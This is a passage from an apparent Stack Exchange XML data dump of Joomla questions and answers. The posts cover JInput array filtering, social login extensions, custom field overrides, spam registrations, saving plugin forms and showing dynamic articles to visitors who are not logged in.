  <row Id="28599" PostTypeId="2" ParentId="28598" CreationDate="2020-10-26T23:44:07.260" Score="1" Body="&lt;p&gt;Use the array filter.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;    &#xA;$the_checked_vals = $jinput-&amp;gt;post-&amp;gt;get('checkboxfieldname', [], 'ARRAY');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Retrieving_request_data_using_JInput&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that the values are not themselves filtered.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2020-10-26T23:44:07.260" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28600" PostTypeId="1" CreationDate="2020-10-27T02:45:39.627" Score="2" ViewCount="361" Body="&lt;p&gt;Can someone recommend working extensions for login via facebook/google?&#xA;I've tried some but they are either not working or not working very well.&lt;/p&gt;&#xA;&lt;p&gt;Firstly I tried Akeeba Social Login. After I install and enable the plugin, on the login page the facebook login button appears next to the login button, but when I click it there is an error message from facebook saying URL not whitelisted. I check Akeeba's page, but there is no documentation regarding how to set the whitelist. Besides I find that Akeeba seems not maintaining this plugin any more, it doesn't even appear in its product list. So I've decided not to use this plugin.&lt;/p&gt;&#xA;&lt;p&gt;Next I tried the two free extensions that appear when you search &amp;quot;social login&amp;quot; on Joomla's extension directory, they are &amp;quot;social login&amp;quot; by thekrotek and &amp;quot;miniorange social login&amp;quot; by xecurify. For both of them settings are easy, I just input the App ID and Secret like I did with Akeeba Social Login. However, this time the facebook login button won't even show up on my frontend. I've sent emails to both company but no response yet.&lt;/p&gt;&#xA;&lt;p&gt;Can someone recommend working social login extension? What I want is very simple - just login via facebook/google, so I prefer free extensions if possible. Or if you have experience with the two extensions I mention above, please share.&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2020-10-29T18:19:14.467" Title="Login via facebook/google?" Tags="|extensions|extension-request|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28601" PostTypeId="2" ParentId="28600" CreationDate="2020-10-27T07:47:43.217" Score="1" Body="&lt;p&gt;First of all I do not think that there would be any relevant problem with &lt;strong&gt;Akeeba Social Login&lt;/strong&gt; extension. I personally have not used that (I’ll give you below what I use) but knowing Akeeba, their extensions work well. @Lodder provided a link to their extension under your post and it shows that the Social Login extension was updated 4 months ago which means that it is maintained quite well (considering the fact also that in the last months Joomla is getting patches only, not any major updates, so these smaller extensions do not require too many updates now).&lt;/p&gt;&#xA;&lt;p&gt;What I can suspect is that you missed few points at installation and the setting of the extension. Particularly, you have to create an app at &lt;a href=&quot;https://developers.facebook.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Facebook Developer page&lt;/a&gt; (you already made it). Please give special attention to set the callback URL (a valid redirect URI) correctly at Client OAuth settings of your Facebook App.&lt;/p&gt;&#xA;&lt;p&gt;In Akeeba documentation the steps are quite clear about what and how to do: &lt;a href=&quot;https://github.com/akeeba/sociallogin/wiki/Facebook&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/akeeba/sociallogin/wiki/Facebook&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;On the “URL not whitelisted...” problem, according to Akeeba docs the correct callback url setting in you Facebook App (app dashboard-&amp;gt;Facebook Login-&amp;gt;Settings) is like:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Find the Valid OAuth redirect URIs option. You will need to enter a URL in the form &lt;a href=&quot;http://www.example.com/index.php?option=com_ajax&amp;amp;group=sociallogin&amp;amp;plugin=facebook&amp;amp;format=raw&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.example.com/index.php?option=com_ajax&amp;amp;group=sociallogin&amp;amp;plugin=facebook&amp;amp;format=raw&lt;/a&gt; replacing &lt;a href=&quot;http://www.example.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.example.com&lt;/a&gt; with the real URL of your site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If you follow the steps precisely your social login should work. But:&lt;/p&gt;&#xA;&lt;p&gt;The second option which I have been using years ago now is the OneAll social network integration:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.oneall.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.oneall.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Info for Joomla: &lt;a href=&quot;https://docs.oneall.com/plugins/guide/social-login-joomla/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.oneall.com/plugins/guide/social-login-joomla/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;They provide free accounts (limited but basically enough). Only for “social login” visitors with unbelievable amount of networks it is more than enough and you can use that for free on many sites too. They also provide very good documentation for setting up their service and the setup is very similar to Akeeba. They also give you free Joomla extensions (a component and a modul). And they also update continually. The setup should not be more than 20-40 minutes including creating the facebook app for example. I prefer this solution because you can use this under many frameworks/web engines, with the use of one nicely built dashboard at OneAll and you also do not have to worry about Facebook API updates and changing integration problems, this company solves that.&lt;/p&gt;&#xA;&lt;p&gt;I hope that you can move forward well with the above info.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2020-10-29T18:19:14.467" LastActivityDate="2020-10-29T18:19:14.467" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28602" PostTypeId="1" AcceptedAnswerId="28605" CreationDate="2020-10-27T13:03:21.537" Score="0" ViewCount="64" Body="&lt;p&gt;I've already created a custom field called &amp;quot;part-no&amp;quot;, and I want to show the &amp;quot;part-no&amp;quot; that exist in all articles in the same category. But now it only show the &amp;quot;part-no&amp;quot; from last article, how to show it from all articles? I don't want to use table.&lt;/p&gt;&#xA;&lt;p&gt;part-no = NO1 in article1,&lt;br /&gt;&#xA;part-no = NO2 in article2,&lt;br /&gt;&#xA;part-no = NO3 in article3,&lt;/p&gt;&#xA;&lt;p&gt;Now it only shows N03&lt;/p&gt;&#xA;&lt;p&gt;I want to show: N01, N02, NO3&lt;/p&gt;&#xA;&lt;p&gt;I overided default_articles.php like below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined ('_JEXEC') or die();&#xA;JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');&#xA;use Joomla\CMS\Router\Route;&#xA;&#xA;    // Create some shortcuts.&#xA;$params    = &amp;amp;$this-&amp;gt;item-&amp;gt;params;&#xA;&#xA;// Check for at least one editable article&#xA;$isEditable = false;&#xA;&#xA;if (!empty($this-&amp;gt;items))&#xA;{&#xA;    foreach ($this-&amp;gt;items as $article)&#xA;    {&#xA;        if ($article-&amp;gt;params-&amp;gt;get('access-edit'))&#xA;        {&#xA;            $isEditable = true;&#xA;&#xA;        }&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if (!empty($this-&amp;gt;items)) : ?&amp;gt;&#xA;&amp;lt;?php foreach($article-&amp;gt;jcfields as $jcfield){&#xA;    $article-&amp;gt;jcFields[$jcfield-&amp;gt;name] = $jcfield;&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php echo $article-&amp;gt;jcFields['part-no']-&amp;gt;value; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14590" LastEditorUserId="14590" LastEditDate="2020-10-27T13:18:47.660" LastActivityDate="2020-10-28T05:52:49.847" Title="About custom field in default_articles.php" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28603" PostTypeId="1" CreationDate="2020-10-27T16:59:03.593" Score="0" ViewCount="139" Body="&lt;p&gt;I've just recently started getting a LOT of spam registration on a Joomla! website that my company host for one of our clients. I know they are spam because every single user has &amp;quot;https&amp;quot; in the name.&lt;/p&gt;&#xA;&lt;p&gt;The website is running on Joomla 3.6.0 and can't be updated because an ex-colleague has made changes to the core files (instead of the template files) that are required. The website has user registration disabled, yet I am still seeing all of these spam registrations. I know that the code added by the ex-colleague has nothing to do with the database so that can't be where the registrations are coming from.&lt;/p&gt;&#xA;&lt;p&gt;The website has VirtueMart 3.0.16 installed, which is being used to sell products (eCommerce plugin).&lt;/p&gt;&#xA;&lt;p&gt;My question is this:&#xA;Is there anywhere on the website that is known to still allow registrations, even if the setting is switched off?&#xA;If not, is there a particular plugin that I can install for this version that will allow me to prevent certain keywords from being used for names and usernames? Because the setting for user registration is turned off, I don't think a plugin will help.&#xA;My final question is, are there any files that I can edit and add some code to prevent &amp;quot;https&amp;quot; being used in the username/name, for example, where the user's are actually installed?&lt;/p&gt;&#xA;" OwnerUserId="12780" LastActivityDate="2021-03-17T23:37:53.297" Title="Spam Registration for Joomla 3.6.0" Tags="|joomla-3.x|user|virtuemart|registration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28604" PostTypeId="1" AcceptedAnswerId="28616" CreationDate="2020-10-27T20:10:16.427" Score="1" ViewCount="219" Body="&lt;p&gt;When I login on the front end I have the ability to choose where that login goes to.&lt;/p&gt;&#xA;&lt;p&gt;On the backend is there a way to choose this?  Currently it goes to the dashboard but I'd prefer to make it go to a component as that's the main use of the site.&lt;/p&gt;&#xA;&lt;p&gt;If not, can anyone give me a clue how to achieve this via the Administration?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2020-10-30T12:22:50.233" Title="Is there a way to redirect the Joomla! Administrator login?" Tags="|administrator|login|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28605" PostTypeId="2" ParentId="28602" CreationDate="2020-10-28T05:52:49.847" Score="0" Body="&lt;p&gt;I think, I solved it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($this-&amp;gt;items as $article) : ?&amp;gt;&#xA;&amp;lt;?php if ($article-&amp;gt;params-&amp;gt;get('access-edit'))&#xA;        {&#xA;            $isEditable = true;&#xA;            break;&#xA;        }&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php foreach($article-&amp;gt;jcfields as $jcfield){&#xA;    $article-&amp;gt;jcFields[$jcfield-&amp;gt;name] = $jcfield;&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;lt;?php echo $article-&amp;gt;jcFields['part-no']-&amp;gt;value; ?&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14590" LastActivityDate="2020-10-28T05:52:49.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28606" PostTypeId="1" CreationDate="2020-10-28T14:11:59.663" Score="1" ViewCount="85" Body="&lt;p&gt;I have a dynamic article in Joomla.&lt;/p&gt;&#xA;&lt;p&gt;The article information is extracted from fabrik when the user is logged in.&lt;/p&gt;&#xA;&lt;p&gt;But when the user is not logged.. I can not see the information.&lt;/p&gt;&#xA;&lt;p&gt;The idea is to create a url .. something similar to this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;https://qrmenudigital.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=32&amp;amp;uid=969&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;adding the article_id and the user_id.. that must be shown.&lt;/p&gt;&#xA;&lt;p&gt;I want to give this url to the people that need to see this article.&lt;/p&gt;&#xA;&lt;p&gt;For people that are not registered users -- they see the article.&lt;/p&gt;&#xA;&lt;p&gt;The article is a dynamic article, and I add this code in PHP to extract data:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{source}&amp;lt;?php&#xA;$user = JFactory::getUser();&#xA;$userId = $user-&amp;gt;get('id');&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;//echo $userId;&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('nombre_establecimiento', 'user_id',)))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('insertar_logo'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('user_id') . ' = ' . $userId);&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadAssocList();&#xA;foreach ($results as $rows) {&#xA;    echo &amp;quot;&amp;lt;center&amp;gt;&amp;quot;;&#xA;        //echo &amp;quot;&amp;lt;img src='images/stories/&amp;quot; . $userId . &amp;quot;/image-1.png'&amp;gt;&amp;quot;;&#xA;        echo &amp;quot;&amp;lt;H1&amp;gt;&amp;quot; . $rows['nombre_establecimiento'] . &amp;quot;&amp;lt;/H1&amp;gt;&amp;quot; . &amp;quot;&amp;lt;BR&amp;gt;&amp;quot;;&#xA;    echo &amp;quot;&amp;lt;/center&amp;gt;&amp;quot;;&#xA;}&#xA;?&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If the user is logged in, the article show the data.&lt;/p&gt;&#xA;&lt;p&gt;But when I try to use the link to show the article without the logged-in user, I can not see anything.&lt;/p&gt;&#xA;&lt;p&gt;How can I relate the link with the article if the user is not logged in?&lt;/p&gt;&#xA;" OwnerUserId="14618" LastEditorUserId="14618" LastEditDate="2020-10-29T22:12:12.290" LastActivityDate="2020-10-30T08:42:33.153" Title="How to show dynamic article to non-registered users?" Tags="|php|articles|fabrik|sourcerer|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28607" PostTypeId="2" ParentId="28564" CreationDate="2020-10-29T09:29:37.117" Score="1" Body="&lt;p&gt;After a long period of time, I have managed to find a solution to my problem. I have decided to rewrite the code from scratch.&lt;/p&gt;&#xA;&lt;p&gt;The code is the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&#xA;&#xA;var vehicles = new Array();&#xA;&#xA;var markersLayer;&#xA;&#xA;function initializeGoogleMap()&#xA;{&#xA;&#xA;    var googleStreets = L.tileLayer('http://{s}.google.com/vt/lyrs=m&amp;amp;x={x}&amp;amp;y={y}&amp;amp;z={z}&amp;amp;hl=document.getElementById([&amp;lt;?php echo $lang;?&amp;gt;])',{&#xA;        maxZoom: 20,&#xA;        subdomains:['mt0','mt1','mt2','mt3']&#xA;    });&#xA;&#xA;    var googleSat = L.tileLayer('http://{s}.google.com/vt/lyrs=s,h&amp;amp;x={x}&amp;amp;y={y}&amp;amp;z={z}&amp;amp;hl=document.getElementById([&amp;lt;?php echo $lang;?&amp;gt;])',{&#xA;        maxZoom: 20,&#xA;        subdomains:['mt0','mt1','mt2','mt3']&#xA;    });&#xA;&#xA;    var map = L.map('map_canvas', {center: [&amp;lt;?php echo $startLat; ?&amp;gt;, &amp;lt;?php echo $startLng; ?&amp;gt;], layers: [googleStreets,googleSat], zoom: 13.5});&#xA;    var baseMaps = {&#xA;        &amp;quot;Satellite&amp;quot;: googleSat,&#xA;        &amp;quot;Map&amp;quot;: googleStreets&#xA;    };&#xA;&#xA;    L.control.layers(baseMaps).addTo(map);&#xA;    googleStreets.addTo(map);&#xA;&#xA;    markersLayer = L.layerGroup();&#xA;    map.addLayer(markersLayer);&#xA;&#xA;&#xA;    globalMap = map;&#xA;&#xA;    function createVehicle(point, image, number, title) {&#xA;        var activeInfoWindow;&#xA;        var InfoWindow;&#xA;&#xA;        var marker = new L.Marker(point, {icon:image});&#xA;        marker.value = number;&#xA;        marker.on(&amp;quot;click&amp;quot;, function() {&#xA;&#xA;        var myHTML = title;&#xA;        if (activeInfoWindow) {&#xA;            activeInfoWindow.close();&#xA;        }&#xA;        var infoWindow = L.popup().setLatLng(point).setContent(myHTML).openOn(globalMap);&#xA;        activeInfoWindow = InfoWindow;&#xA;    });&#xA;&#xA;    return marker;&#xA;}&#xA;&#xA;function updateVehiclePositions() {&#xA;&#xA;    var siteurlvehicles = &amp;quot;&amp;lt;?php echo JURI::root(); ?&amp;gt;&amp;quot;; &#xA;&#xA;    var pageUrl = &amp;quot;http://site-otl-joomla/index.php/ro/allcategories-ro-ro/uncategorised/3n/templates/protostar/php&amp;quot;;&#xA;&#xA;    var pageFinalUrl = pageUrl.replace(pageUrl, siteurlvehicles);&#xA;&#xA;    jQuery.ajax({ &#xA;        type: &amp;quot;GET&amp;quot;,&#xA;        url: pageFinalUrl + &amp;quot;templates/protostar/php/get_vehicles_xml.php?line=&amp;lt;?php echo $line; ?&amp;gt;&amp;quot;,&#xA;        success: function(vehicleList) {&#xA;&#xA;            vehicles = JSON.parse(vehicleList);&#xA;            for(var i = 0; i &amp;lt; vehicles.length; i++) { &#xA; &#xA;                var icon = vehicles[i].icon;&#xA;                var iconUrl = &amp;quot;http://site-otl-joomla/index.php/ro/allcategories-ro-ro/uncategorised/3n/templates/protostar/php/img/&amp;quot; + icon;&#xA;&#xA;                var iconFinalUrl = iconUrl.replace(iconUrl, siteurlvehicles + &amp;quot;templates/protostar/php/img/&amp;quot; + icon);&#xA;&#xA;                var image = new L.icon({&#xA;                        iconUrl: &#xA;                        iconFinalUrl,&#xA;                        iconSize: [16, 16],&#xA;                        iconAnchor: [8, 8],&#xA;                        popupAnchor: [8, 8]&#xA;                    });&#xA;&#xA;                var latLng = new L.latLng(vehicles[i].lat, vehicles[i].lng);&#xA;&#xA;                var title = vehicles[i].title;&#xA;                var vehicleId = vehicles[i].vehicleid;&#xA;&#xA;                vehicles[vehicleId] = createVehicle(latLng, image, i, title);&#xA;&#xA; &#xA;                markersLayer.addLayer(vehicles[vehicleId]);&#xA;            }&#xA;        }&#xA;    });&#xA; &#xA;    setTimeout(function() { &#xA;        markersLayer.clearLayers(); &#xA;        updateVehiclePositions();&#xA;    }, 20000);&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14589" LastEditorUserId="12352" LastEditDate="2020-10-29T10:49:22.127" LastActivityDate="2020-10-29T10:49:22.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28608" PostTypeId="1" CreationDate="2020-10-29T13:10:42.347" Score="1" ViewCount="109" Body="&lt;p&gt;I have a plugin which loads a custom form in a new tab inside the article edit view. So far, no problem with this part:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentPrepareForm(Form $form, $data)&#xA;{&#xA;    // Check we are manipulating a valid form.&#xA;    $name = $form-&amp;gt;getName();&#xA;    &#xA;    if (!in_array($name, array('com_content.article')))&#xA;    {&#xA;        return true;&#xA;    }&#xA;&#xA;    // Load the form&#xA;    Form::addFormPath(__DIR__ . '/forms');&#xA;    $form-&amp;gt;loadFile('tagimageform');&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/brl2B.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/brl2B.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The problem comes when I try make this form save its values from the form to an already created new table that I have. I was thinking to use the following event:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentBeforeSave($context, $table, $isNew)&#xA;{&#xA;    // Check we are handling the article form.&#xA;    if ($context !== 'com_content.article')&#xA;    {&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and there handle the actions to save the values to the table, but I can not find a way to do it so far.&lt;/p&gt;&#xA;&lt;p&gt;Later will come the requirement to load the correct data in case a user wishes to edit the article, but this is not the most immediate concern.&lt;/p&gt;&#xA;&lt;p&gt;Can someone explain the appropriate technique to use to save this custom form data.&lt;/p&gt;&#xA;" OwnerUserId="8256" LastEditorUserId="12352" LastEditDate="2020-10-29T20:06:24.080" LastActivityDate="2020-10-29T22:53:03.737" Title="Save/load a custom form inside a new tab in the article edit view" Tags="|plugin|articles|custom-field|form|editing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28609" PostTypeId="2" ParentId="28603" CreationDate="2020-10-29T13:42:45.197" Score="0" Body="&lt;p&gt;Did you checked &lt;a href=&quot;https://www.akeeba.com/products/admin-tools.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Admin Tools Pro&lt;/a&gt; ?&lt;/p&gt;&#xA;&lt;p&gt;With this you can block any direct template url request&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BG69k.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BG69k.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2020-10-29T13:42:45.197" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28610" PostTypeId="2" ParentId="28608" CreationDate="2020-10-29T22:50:36.587" Score="1" Body="&lt;p&gt;&lt;strong&gt;SAVE THE DATA&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I want to share how I have created the solution to my problem.&lt;/p&gt;&#xA;&lt;p&gt;Along with the plugin there is a component than is relate with the work I doing, and both will work together. The component has other purposes, but taking advantage of the fact that much of the logic that the plugin needs, is already made or is reusable through the model classes, such as &lt;strong&gt;JModelAdmin&lt;/strong&gt; class. With that said, I reworked my &lt;strong&gt;onContentPrepareForm&lt;/strong&gt; function to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentPrepareForm(Form $form, $data)&#xA;{&#xA;    // Check we are manipulating a valid form.&#xA;    $name = $form-&amp;gt;getName();&#xA;    &#xA;    if (!in_array($name, array('com_content.article')))&#xA;    {&#xA;        return true;&#xA;    }&#xA;    &#xA;    // Load the form&#xA;    $model = $this-&amp;gt;_getModel('Tagimageform');&#xA;    $model-&amp;gt;loadFormFile('tagimageform', $form);&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;strong&gt;_getModel&lt;/strong&gt; end like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected function _getModel($name, $prefix = 'TagimagesModel')&#xA;{&#xA;    // Add the models&#xA;    JModelLegacy::addIncludePath($this-&amp;gt;_com_path . '/models', $prefix);&#xA;&#xA;    // Extra paths where the model will look for&#xA;    Form::addFormPath($this-&amp;gt;_com_path . '/models/forms');&#xA;    Table::addIncludePath($this-&amp;gt;_com_path . '/tables');&#xA;&#xA;    // Get an instance of the generic form model&#xA;    $model = JModelLegacy::getInstance($name, $prefix, array('ignore_request' =&amp;gt; true));&#xA;    &#xA;    return $model;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So far, the result still the same, we get the form when we are at the article edit view:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/BAs07.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BAs07.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For save the values of the custom form, who is our goal, we used the &lt;strong&gt;onContentAfterSave&lt;/strong&gt; event:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentAfterSave($context, $article, $isNew)&#xA;{&#xA;    // Check we are handling the article form.&#xA;    if ($context !== 'com_content.article')&#xA;    {&#xA;        return true;&#xA;    }&#xA;    &#xA;    $model  = $this-&amp;gt;_getModel('Tagimageform');&#xA;&#xA;    // Get the whole article form data including the custom form data&#xA;    $input      = Factory::getApplication()-&amp;gt;input;&#xA;    $formData   = new Input($input-&amp;gt;get('jform', '', 'array'));&#xA;    &#xA;    // Get only the custom form data we will save&#xA;    // Will be a array if was filled and null if not&#xA;    $data = $formData-&amp;gt;getRaw('config');&#xA;&#xA;    // Save the form data to the table&#xA;    if (is_array($data)) &#xA;    {&#xA;        // Our custom form is a &amp;quot;subform&amp;quot; type field&#xA;        // We need save all the forms the user created because is a repeatable &amp;quot;subform&amp;quot;&#xA;        foreach ($data as $value) {&#xA;            try&#xA;            {&#xA;                $result = $model-&amp;gt;save($value);&#xA;            }&#xA;            catch (\Exception $e)&#xA;            {&#xA;                Factory::getApplication()-&amp;gt;enqueueMessage(&#xA;                    Text::sprintf('One of the form could not be saved', $value['cart'], 'error'));&#xA;            }&#xA;        }&#xA;    }       &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;And done, the new values were added to our table in the database successfully!&lt;/h2&gt;&#xA;&lt;p&gt;Now there are other actions such as loading the correct form/s if the user edits the article, but that is part of another story.&lt;/p&gt;&#xA;&lt;p&gt;Thank you to @Benjamin Trenkle for the suggestion on Glip, of the corrects plugins events to work on.&lt;/p&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2020-10-29T22:50:36.587" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28612" PostTypeId="2" ParentId="28606" CreationDate="2020-10-29T23:29:43.233" Score="0" Body="&lt;p&gt;You should first separate when you have a know user from a guest one:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&#xA;if ($user-&amp;gt;guest) {&#xA;    echo &amp;quot;&amp;lt;p&amp;gt;You must login to see the content&amp;lt;/p&amp;gt;&amp;quot;;&#xA;} else {&#xA;    // add your code&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There is not way of know what user is, if he not logged-in first, so I think the best is show a message to him for logged-in first before access to the content.&lt;/p&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2020-10-29T23:29:43.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28613" PostTypeId="2" ParentId="28606" CreationDate="2020-10-29T23:55:37.173" Score="0" Body="&lt;p&gt;thanks for your answer.&lt;/p&gt;&#xA;&lt;p&gt;Maybe i didn´t explain clearly..&#xA;the user that see the information.. must to be public.. the user is not a guest.. can not login .. only see the information.&lt;/p&gt;&#xA;&lt;p&gt;i generate a link for each registered user --&amp;gt; this link they will share with the customers... so the idea is with the link see the article.&lt;/p&gt;&#xA;&lt;p&gt;for example for the user_id = 969&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://qrmenudigital.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=39&amp;amp;uid=969&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://qrmenudigital.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=39&amp;amp;uid=969&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;and with this link.. the customer.. should see the article_id = 39&lt;/p&gt;&#xA;&lt;p&gt;I'm trying to get the user_id when the url is clicked, with some code like this.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;$app  = JFactory::getApplication();&#xA;$uid   = $app-&amp;gt;input-&amp;gt;getInt('uid', '');&#xA;//$query = $db-&amp;gt;getQuery(true);&#xA;echo $uid;&#xA;?&amp;gt;&lt;/p&gt;&#xA;&lt;p&gt;with this code I'm trying to put in the article.. from which user is the info that i must to show...because the user is not registered...&#xA;NOw if you click in the link you will see show the user_id.. inside the article_id=39&#xA;so next step.. will be using php.. try to get the info that i need.. trouble is sometimes i can see, sometimes i can not see the info.. let's see what happen!&lt;/p&gt;&#xA;" OwnerUserId="14618" LastActivityDate="2020-10-29T23:55:37.173" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28614" PostTypeId="2" ParentId="28606" CreationDate="2020-10-30T07:04:35.190" Score="1" Body="&lt;p&gt;If I understand your problem correctly then you just have to change the first few lines of your original code because you do not just want look for the user ID from the database (user table) but you also need to define the user ID from the particular article's URL. So try it with using the following at the beginning of your code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$articleUrl = \Joomla\CMS\Uri\Uri::getInstance();&#xA;$segmentUserID = $articleUrl-&amp;gt;getVar('uid');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So including this in your original code it should look like the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;&amp;lt;?php&#xA;&#xA;$articleUrl = \Joomla\CMS\Uri\Uri::getInstance();&#xA;$segmentUserID = $articleUrl-&amp;gt;getVar('uid');&#xA;//echo $segmentUserID;&#xA;&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);    &#xA;&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName('nombre_establecimiento'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('insertar_logo'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('user_id') . ' = ' . $db-&amp;gt;quote($segmentUserID));&#xA;$db-&amp;gt;setQuery($query);&#xA;foreach ($db-&amp;gt;loadColumn() as $value) {&#xA;    echo &amp;quot;&amp;lt;h1 style=\&amp;quot;text-align:center; margin-bottom: 